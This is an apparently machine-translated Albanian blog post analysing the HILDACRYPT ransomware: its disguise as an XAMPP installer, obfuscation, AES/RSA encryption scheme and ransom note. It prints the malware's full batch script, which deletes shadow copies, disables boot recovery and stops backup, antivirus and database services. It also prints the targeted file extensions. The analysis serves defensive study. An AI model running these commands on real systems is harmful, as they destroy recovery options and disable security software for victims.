{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT: nj\u00eb program i ri k\u00ebrkuesh q\u00eb godet sistemet e backup-it dhe zgjidhjet antivirus","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

P\u00ebrsh\u00ebndetje, Habr! S\u00ebrish jemi k\u00ebtu p\u00ebr t'ju treguar rreth versioneve m\u00eb t\u00eb reja t\u00eb softuer\u00ebve t\u00eb keq nga kategoria Ransomware. HILDACRYPT \u00ebsht\u00eb nj\u00eb program i ri shantazhues, p\u00ebrfaq\u00ebsues i familjes Hilda q\u00eb u zbulua n\u00eb gusht 2019, me emrin e nomsizuar sipas nj\u00eb karikature nga sh\u00ebrbimi i transmetimit Netflix, i cili u p\u00ebrdor p\u00ebr shp\u00ebrndarjen e softuerit. Sot do t\u00eb njohim karakteristikat teknike t\u00eb funksionimit t\u00eb k\u00ebtij virusi shantazhues t\u00eb p\u00ebrmir\u00ebsuar.<\/p>\n

\"HILDACRYPT:
\n<\/a><\/noindex>
\nN\u00eb versionin e par\u00eb t\u00eb shantazhuesve Hilda, linku p\u00ebr videon e publikuar n\u00eb Youtube trailer<\/a><\/noindex> i serialit animuar ishte p\u00ebrfshir\u00eb n\u00eb lejimin p\u00ebr pages\u00ebn e shantazhit. HILDACRYPT fshehet pas nj\u00eb instaluesi legjitim XAMPP \u2014 nj\u00eb distribucion i leht\u00eb p\u00ebr t'u instaluar Apache, q\u00eb p\u00ebrfshin MariaDB, PHP dhe Perl. Gjithashtu, emri i skedarit t\u00eb kripto-lokut \u00ebsht\u00eb ndryshe \u2014 xamp. P\u00ebr m\u00eb tep\u00ebr, skedari i programit shantazhues nuk ka nj\u00eb n\u00ebnshkrim elektronik.<\/p>\n

Analiza statike<\/h3>\n

\nProgrami shantazhues \u00ebsht\u00eb i pranish\u00ebm n\u00eb nj\u00eb skedar PE32 .NET, i shkruar p\u00ebr MS Windows. Madh\u00ebsia e tij \u00ebsht\u00eb 135 168 byte. Si kodi kryesor programues ashtu edhe kodi i programit mbrojt\u00ebs jan\u00eb shkruar n\u00eb C#. Sipas sh\u00ebnimit t\u00eb dat\u00ebs dhe koh\u00ebs s\u00eb kompilimit, skedari binar \u00ebsht\u00eb krijuar m\u00eb 14 Shtator 2019.<\/p>\n

\"HILDACRYPT:
\n
\nSipas t\u00eb dh\u00ebnave nga Detect It Easy, ransomware \u00ebsht\u00eb arkivuar me ndihm\u00ebn e Confuser dhe ConfuserEx, por k\u00ebto obfuskatore jan\u00eb t\u00eb nj\u00ebjta si m\u00eb par\u00eb, vet\u00ebm se ConfuserEx \u00ebsht\u00eb pasardh\u00ebsi i Confuser, k\u00ebshtu q\u00eb n\u00ebnshkrimet e kodeve t\u00eb tyre jan\u00eb t\u00eb ngjashme. <\/p>\n

\"HILDACRYPT:
\n
\nHILDACRYPT n\u00eb t\u00eb v\u00ebrtet\u00eb \u00ebsht\u00eb paketuar me ndihm\u00ebn e ConfuserEx. <\/p>\n

\"HILDACRYPT:
\n
\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a<\/p>\n

Vektori i sulmit<\/h3>\n

\nProbabilisht, ransomware ishte zbuluar n\u00eb nj\u00eb nga faqet e internetit q\u00eb i kushtohet programimit n\u00eb web, duke u maskuar si nj\u00eb program legjitim XAMPP.<\/p>\n

E gjith\u00eb zinxhiri i infektimit mund t\u00eb shihet n\u00eb app.any.run sandbox<\/a><\/noindex>.<\/p>\n

Obfuskimi <\/h3>\n

\nStrings e ransomware-it ruhen n\u00eb form\u00eb t\u00eb enkriptuar. Kur HILDACRYPT ekzekutohet, ato i dekriptojn\u00eb me ndihm\u00ebn e Base64 dhe AES-256-CBC.<\/p>\n

\"HILDACRYPT:
\n<\/p>\n

Instalimi<\/h3>\n

\nS\u00eb pari, ransomware krijon n\u00eb %AppDataRoaming% nj\u00eb dosje, e cila ka nj\u00eb parameter GUID (Identifikuesi Globalisht Unik) t\u00eb gjeneruar n\u00eb m\u00ebnyr\u00eb rast\u00ebsore. Duke shtuar n\u00eb k\u00ebt\u00eb vendndodhje nj\u00eb skedar bat, ransomware ekzekuton at\u00eb me ndihm\u00ebn e cmd.exe:<\/p>\n

cmd.exe \/c JKfgkgj3hjgfhjka.bat & exit
\n<\/i>
\n\"HILDACRYPT:\"HILDACRYPT:
\nM\u00eb pas fillon ekzekutimin e nj\u00eb skripe t\u00eb paket\u00ebs p\u00ebr t\u00eb \u00e7aktivizuar funksionet ose sh\u00ebrbimet sistemike.<\/p>\n

\"HILDACRYPT:
\n
\nSkripti p\u00ebrmban nj\u00eb list\u00eb t\u00eb gjat\u00eb komandash, me an\u00eb t\u00eb t\u00eb cilave shuhen kopjet e err\u00ebta, ndalet SQL-serveri, b\u00ebhen kopje rezerv\u00eb dhe zgjidhen zgjidhjet antivirus.<\/p>\n

P\u00ebr shembull, ai p\u00ebrpiqet pa sukses t\u00eb ndal\u00eb sh\u00ebrbimet e kopjimit Acronis Backup. P\u00ebr m\u00eb tep\u00ebr, ai sulmon sistemet e kopjimit dhe zgjidhjet antivirus t\u00eb ofruesve t\u00eb m\u00ebposht\u00ebm: Veeam, Sophos, Kaspersky, McAfee dhe t\u00eb tjer\u00eb.<\/p>\n

@echo off\n:: Nuk e kam p\u00ebr zem\u00ebr ponit, vajzat e karikaturave jan\u00eb m\u00eb t\u00eb mira, a nuk e mendoni k\u00ebshtu?\nvssadmin resize shadowstorage \\\/for=c: \\\/on=c: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=c: \\\/on=c: \\\/maxsize=unbounded\nvssadmin resize shadowstorage \\\/for=d: \\\/on=d: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=d: \\\/on=d: \\\/maxsize=unbounded\nvssadmin resize shadowstorage \\\/for=e: \\\/on=e: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=e: \\\/on=e: \\\/maxsize=unbounded\nvssadmin resize shadowstorage \\\/for=f: \\\/on=f: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=f: \\\/on=f: \\\/maxsize=unbounded\nvssadmin resize shadowstorage \\\/for=g: \\\/on=g: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=g: \\\/on=g: \\\/maxsize=unbounded\nvssadmin resize shadowstorage \\\/for=h: \\\/on=h: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=h: \\\/on=h: \\\/maxsize=unbounded\nbcdedit \\\/set {default} recoveryenabled No\nbcdedit \\\/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \\\/all \\\/quiet\nnet stop SQLAgent$SYSTEM_BGC \\\/y\nnet stop \"Sophos Device Control Service\" \\\/y\nnet stop macmnsvc \\\/y\nnet stop SQLAgent$ECWDB2 \\\/y\nnet stop \"Zoolz 2 Service\" \\\/y\nnet stop McTaskManager \\\/y\nnet stop \"Sophos AutoUpdate Service\" \\\/y\nnet stop \"Sophos System Protection Service\" \\\/y\nnet stop EraserSvc11710 \\\/y\nnet stop PDVFSService \\\/y\nnet stop SQLAgent$PROFXENGAGEMENT \\\/y\nnet stop SAVService \\\/y\nnet stop MSSQLFDLauncher$TPSAMA \\\/y\nnet stop EPSecurityService \\\/y\nnet stop SQLAgent$SOPHOS \\\/y\nnet stop \"Symantec System Recovery\" \\\/y\nnet stop Antivirus \\\/y\nnet stop SstpSvc \\\/y\nnet stop MSOLAP$SQL_2008 \\\/y\nnet stop TrueKeyServiceHelper \\\/y\nnet stop sacsvr \\\/y\nnet stop VeeamNFSSvc \\\/y\nnet stop FA_Scheduler \\\/y\nnet stop SAVAdminService \\\/y\nnet stop EPUpdateService \\\/y\nnet stop VeeamTransportSvc \\\/y\nnet stop \"Sophos Health Service\" \\\/y\nnet stop bedbg \\\/y\nnet stop MSSQLSERVER \\\/y\nnet stop KAVFS \\\/y\nnet stop Smcinst \\\/y\nnet stop MSSQLServerADHelper100 \\\/y\nnet stop TmCCSF \\\/y\nnet stop wbengine \\\/y\nnet stop SQLWriter \\\/y\nnet stop MSSQLFDLauncher$TPS \\\/y\nnet stop SmcService \\\/y\nnet stop ReportServer$TPSAMA \\\/y\nnet stop swi_update \\\/y\nnet stop AcrSch2Svc \\\/y\nnet stop MSSQL$SYSTEM_BGC \\\/y\nnet stop VeeamBrokerSvc \\\/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \\\/y\nnet stop VeeamDeploymentService \\\/y\nnet stop SQLAgent$TPS \\\/y\nnet stop DCAgent \\\/y\nnet stop \"Sophos Message Router\" \\\/y\nnet stop MSSQLFDLauncher$SBSMONITORING \\\/y\nnet stop wbengine \\\/y\nnet stop MySQL80 \\\/y\nnet stop MSOLAP$SYSTEM_BGC \\\/y\nnet stop ReportServer$TPS \\\/y\nnet stop MSSQL$ECWDB2 \\\/y\nnet stop SntpService \\\/y\nnet stop SQLSERVERAGENT \\\/y\nnet stop BackupExecManagementService \\\/y\nnet stop SMTPSvc \\\/y\nnet stop mfefire \\\/y\nnet stop BackupExecRPCService \\\/y\nnet stop MSSQL$VEEAMSQL2008R2 \\\/y\nnet stop klnagent \\\/y\nnet stop MSExchangeSA \\\/y\nnet stop MSSQLServerADHelper \\\/y\nnet stop SQLTELEMETRY \\\/y\nnet stop \"Sophos Clean Service\" \\\/y\nnet stop swi_update_64 \\\/y\nnet stop \"Sophos Web Control Service\" \\\/y\nnet stop EhttpSrv \\\/y\nnet stop POP3Svc \\\/y\nnet stop MSOLAP$TPSAMA \\\/y\nnet stop McAfeeEngineService \\\/y\nnet stop \"Veeam Backup Catalog Data Service\" \\\/y\nnet stop MSSQL$SBSMONITORING \\\/y\nnet stop ReportServer$SYSTEM_BGC \\\/y\nnet stop AcronisAgent \\\/y\nnet stop KAVFSGT \\\/y\nnet stop BackupExecDeviceMediaService \\\/y\nnet stop MySQL57 \\\/y\nnet stop McAfeeFrameworkMcAfeeFramework \\\/y\nnet stop TrueKey \\\/y\nnet stop VeeamMountSvc \\\/y\nnet stop MsDtsServer110 \\\/y\nnet stop SQLAgent$BKUPEXEC \\\/y\nnet stop UI0Detect \\\/y\nnet stop ReportServer \\\/y\nnet stop SQLTELEMETRY$ECWDB2 \\\/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \\\/y\nnet stop MSSQL$BKUPEXEC \\\/y\nnet stop SQLAgent$PRACTTICEBGC \\\/y\nnet stop MSExchangeSRS \\\/y\nnet stop SQLAgent$VEEAMSQL2008R2 \\\/y\nnet stop McShield \\\/y\nnet stop SepMasterService \\\/y\nnet stop \"Sophos MCS Client\" \\\/y\nnet stop VeeamCatalogSvc \\\/y\nnet stop SQLAgent$SHAREPOINT \\\/y\nnet stop NetMsmqActivator \\\/y\nnet stop kavfsslp \\\/y\nnet stop tmlisten \\\/y\nnet stop ShMonitor \\\/y\nnet stop MsDtsServer \\\/y\nnet stop SQLAgent$SQL_2008 \\\/y\nnet stop SDRSVC \\\/y\nnet stop IISAdmin \\\/y\nnet stop SQLAgent$PRACTTICEMGT \\\/y\nnet stop BackupExecJobEngine \\\/y\nnet stop SQLAgent$VEEAMSQL2008R2 \\\/y\nnet stop BackupExecAgentBrowser \\\/y\nnet stop VeeamHvIntegrationSvc \\\/y\nnet stop masvc \\\/y\nnet stop W3Svc \\\/y\nnet stop \"SQLsafe Backup Service\" \\\/y\nnet stop SQLAgent$CXDB \\\/y\nnet stop SQLBrowser \\\/y\nnet stop MSSQLFDLauncher$SQL_2008 \\\/y\nnet stop VeeamBackupSvc \\\/y\nnet stop \"Sophos Safestore Service\" \\\/y\nnet stop svcGenericHost \\\/y\nnet stop ntrtscan \\\/y\nnet stop SQLAgent$VEEAMSQL2012 \\\/y\nnet stop MSExchangeMGMT \\\/y\nnet stop SamSs \\\/y\nnet stop MSExchangeES \\\/y\nnet stop MBAMService \\\/y\nnet stop EsgShKernel \\\/y\nnet stop ESHASRV \\\/y\nnet stop MSSQL$TPSAMA \\\/y\nnet stop SQLAgent$CITRIX_METAFRAME \\\/y\nnet stop VeeamCloudSvc \\\/y\nnet stop \"Sophos File Scanner Service\" \\\/y\nnet stop \"Sophos Agent\" \\\/y\nnet stop MBEndpointAgent \\\/y\nnet stop swi_service \\\/y\nnet stop MSSQL$PRACTICEMGT \\\/y\nnet stop SQLAgent$TPSAMA \\\/y\nnet stop McAfeeFramework \\\/y\nnet stop \"Enterprise Client Service\" \\\/y\nnet stop SQLAgent$SBSMONITORING \\\/y\nnet stop MSSQL$VEEAMSQL2012 \\\/y\nnet stop swi_filter \\\/y\nnet stop SQLSafeOLRService \\\/y\nnet stop BackupExecVSSProvider \\\/y\nnet stop VeeamEnterpriseManagerSvc \\\/y\nnet stop SQLAgent$SQLEXPRESS \\\/y\nnet stop OracleClientCache80 \\\/y\nnet stop MSSQL$PROFXENGAGEMENT \\\/y\nnet stop IMAP4Svc \\\/y\nnet stop ARSM \\\/y\nnet stop MSExchangeIS \\\/y\nnet stop AVP \\\/y\nnet stop MSSQLFDLauncher \\\/y\nnet stop MSExchangeMTA \\\/y\nnet stop TrueKeyScheduler \\\/y\nnet stop MSSQL$SOPHOS \\\/y\nnet stop \"SQL Backups\" \\\/y\nnet stop MSSQL$TPS \\\/y\nnet stop mfemms \\\/y\nnet stop MsDtsServer100 \\\/y\nnet stop MSSQL$SHAREPOINT \\\/y\nnet stop WRSVC \\\/y\nnet stop mfevtp \\\/y\nnet stop msftesql$PROD \\\/y\nnet stop mozyprobackup \\\/y\nnet stop MSSQL$SQL_2008 \\\/y\nnet stop SNAC \\\/y\nnet stop ReportServer$SQL_2008 \\\/y\nnet stop BackupExecAgentAccelerator \\\/y\nnet stop MSSQL$SQLEXPRESS \\\/y\nnet stop MSSQL$PRACTTICEBGC \\\/y\nnet stop VeeamRESTSvc \\\/y\nnet stop sophossps \\\/y\nnet stop ekrn \\\/y\nnet stop MMS \\\/y\nnet stop \"Sophos MCS Agent\" \\\/y\nnet stop RESvc \\\/y\nnet stop \"Acronis VSS Provider\" \\\/y\nnet stop MSSQL$VEEAMSQL2008R2 \\\/y\nnet stop MSSQLFDLauncher$SHAREPOINT \\\/y\nnet stop \"SQLsafe Filter Service\" \\\/y\nnet stop MSSQL$PROD \\\/y\nnet stop SQLAgent$PROD \\\/y\nnet stop MSOLAP$TPS \\\/y\nnet stop VeeamDeploySvc \\\/y\nnet stop MSSQLServerOLAPService \\\/y\ndel %0\n<\/code><\/pre>\n
\nPasi q\u00eb sh\u00ebrbimet dhe proceset e p\u00ebrmendura m\u00eb sip\u00ebr jan\u00eb \u00e7aktivizuar, kriptolokeri mbledh informacione mbi t\u00eb gjitha proceset q\u00eb jan\u00eb n\u00eb funksion, duke p\u00ebrdorur komand\u00ebn tasklist, p\u00ebr t'u siguruar q\u00eb t\u00eb gjitha sh\u00ebrbimet e nevojshme jan\u00eb t\u00eb papun\u00eb. 
\ntasklist v \/fo csv<\/i><\/p>\n
Me k\u00ebt\u00eb komand\u00eb shfaqet nj\u00eb list\u00eb e detajuar e proceseve n\u00eb funksion, elementet e s\u00eb cil\u00ebs jan\u00eb t\u00eb ndara me shenj\u00ebn ','. 
\n\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00absh\u00ebrbimet\u00bb,\u00ab0\u00bb,\u00ab1 896 tani\u00bb,\u00abngjyr\u00eb e panjohur\u00bb,\u00bb\/\u00bb,\u00ab0:00:03\u00bb,\u00bb\/\u00bb
\n<\/i><\/p>\n
\"HILDACRYPT:
\n
\nPasi t\u00eb p\u00ebrfundoj\u00eb kjo kontrol, programa e pengimit fillon procesin e enkriptimit. <\/p>\n
Enkriptim 
\n<\/h3>\n
Enkriptimi i skedar\u00ebve<\/h4>\n
\nHILDACRYPT kalon n\u00ebp\u00ebr t\u00eb gjitha p\u00ebrmbajtjet e gjetura n\u00eb hard disk\u00ebt, p\u00ebrve\u00e7 dosjeve Recycle.Bin dhe Reference AssembliesMicrosoft. N\u00eb k\u00ebt\u00eb t\u00eb fundit p\u00ebrmbahen skedar\u00eb kritik\u00eb dll, pdb, etj., p\u00ebr aplikacionet .Net, t\u00eb cilat mund t\u00eb ndikojn\u00eb n\u00eb funksionimin e programit t\u00eb pengimit. P\u00ebr t\u00eb k\u00ebrkuar skedar\u00eb q\u00eb do t\u00eb enkriptohen, p\u00ebrdoret lista e m\u00ebposhtme e zgjerimeve:<\/p>\n
\u00ab.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md\u00bb
\n<\/i>
\nP\u00ebr enkriptimin e skedar\u00ebve t\u00eb p\u00ebrdoruesit, programi k\u00ebrkes\u00eb-rr\u00ebmbim p\u00ebrdor algoritmin AES-256-CBC. Madh\u00ebsia e \u00e7el\u00ebsit \u00ebsht\u00eb 256 bit, dhe madh\u00ebsia e vektorit t\u00eb inicializimit (IV) \u00ebsht\u00eb 16 byte. <\/p>\n
\"HILDACRYPT:
\n
\nN\u00eb ekranin pasues, vlerat byte_2 dhe byte_1 jan\u00eb marr\u00eb n\u00eb m\u00ebnyr\u00eb t\u00eb rast\u00ebsishme me an\u00eb t\u00eb GetBytes(). <\/p>\n
\"HILDACRYPT:
\n
\n\u00c7el\u00ebsi<\/p>\n
\"HILDACRYPT:
\n
\nVI<\/p>\n
\"HILDACRYPT:
\n
\nSkedari i enkriptuar ka zgjerimin HCY!.. Ky \u00ebsht\u00eb nj\u00eb shembull i skedarit t\u00eb enkriptuar. P\u00ebr k\u00ebt\u00eb skedar jan\u00eb krijuar \u00e7el\u00ebsi dhe IV q\u00eb u p\u00ebrmend\u00ebn m\u00eb par\u00eb. <\/p>\n
\"HILDACRYPT:
\n<\/p>\n
Enkriptimi i \u00e7el\u00ebsve<\/h4>\n
\nKrypto-lokatori ruan \u00e7el\u00ebsin AES t\u00eb gjeneruar n\u00eb skedarin e enkriptuar. Pjesa e par\u00eb e skedarit t\u00eb enkriptuar ka nj\u00eb titull q\u00eb p\u00ebrmban t\u00eb dh\u00ebna si HILDACRYPT, KEY, IV, FileLen n\u00eb formatin XML, dhe duket si m\u00eb posht\u00eb:<\/p>\n
\"HILDACRYPT:
\n
\nEnkriptimi i \u00e7el\u00ebsit AES dhe IV b\u00ebhet me an\u00eb t\u00eb RSA-2048, dhe kodimi me Base64. \u00c7el\u00ebsi publik RSA ruhet n\u00eb trupin e krypto-lokatorit n\u00eb nj\u00eb nga vargjet e enkriptuara n\u00eb formatin XML.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
P\u00ebr enkriptimin e \u00e7el\u00ebsit t\u00eb skedarit AES p\u00ebrdoret \u00e7el\u00ebsi publik RSA. \u00c7el\u00ebsi publik RSA \u00ebsht\u00eb koduar me Base64 dhe p\u00ebrb\u00ebhet nga moduli dhe eksponenti publik 65537. P\u00ebr dekriptimin k\u00ebrkohet \u00e7el\u00ebsi privat RSA, i cili ndodhet tek sulmuesi.<\/p>\n
Pas RSA-kriptimit, \u00e7el\u00ebsi AES kodifikohet me an\u00eb t\u00eb Base64, i ruajtur n\u00eb skedarin e enkriptuar.<\/p>\n
Mesazhi i shp\u00ebrblimit<\/h3>\n
\nPas p\u00ebrfundimit t\u00eb enkriptimit, HILDACRYPT shkruan nj\u00eb skedar html n\u00eb at\u00eb dosje ku ka enkriptuar skedar\u00ebt. Njoftimi i programit k\u00ebrkues p\u00ebrmban dy adresa elektronike, p\u00ebrmes t\u00eb cilave viktima mund t\u00eb kontaktoj\u00eb me sulmuesin.<\/p>\n